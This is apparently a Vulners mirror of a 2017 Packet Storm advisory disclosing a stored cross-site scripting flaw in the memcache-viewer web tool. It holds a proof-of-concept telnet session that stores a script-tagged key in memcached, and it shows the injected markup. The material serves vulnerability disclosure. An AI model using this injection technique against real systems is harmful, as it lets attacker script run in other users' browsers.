Lucene search
K

memcache-viewer Cross Site Scripting

🗓️ 25 Feb 2017 00:00:00Reported by HaHwulType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

memcache-viewer Stored XSS vulnerabilit

Code
`# Exploit Title: memcache-viewer - Stored XSS  
# Date: 2017-02-24  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: https://github.com/chrisjameskirkham/memcache-viewer  
# Software Link: https://github.com/chrisjameskirkham/memcache-viewer/archive/master.zip  
# Version: Latest commit  
# Tested on: Debian [wheezy]  
  
### Vulnerability   
This program does not filter filtering on the special character when expressing the data from memcached on the web.  
When XSS attacks and HTML code are inserted in the memcached, user who accesses the page will run the XSS code.  
  
### Example Attack code  
1. Send Payload(XSS Code) after Connecting to memcached server.  
#> telnet 127.0.0.1 11211  
Trying 127.0.0.1...  
Connected to 127.0.0.1.  
Escape character is '^]'.  
  
add hacked<script>alert(45)</script> 0 900 2  
45  
STORED  
  
2. Insert data through memcached related 3rd party application.  
  
### Result  
Access index.php after memcache-viewer login  
DOM Area in index.php  
<td class="key">hacked<script>alert(45)</script></td><td class="slab">2</td><td class="size">2</td>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation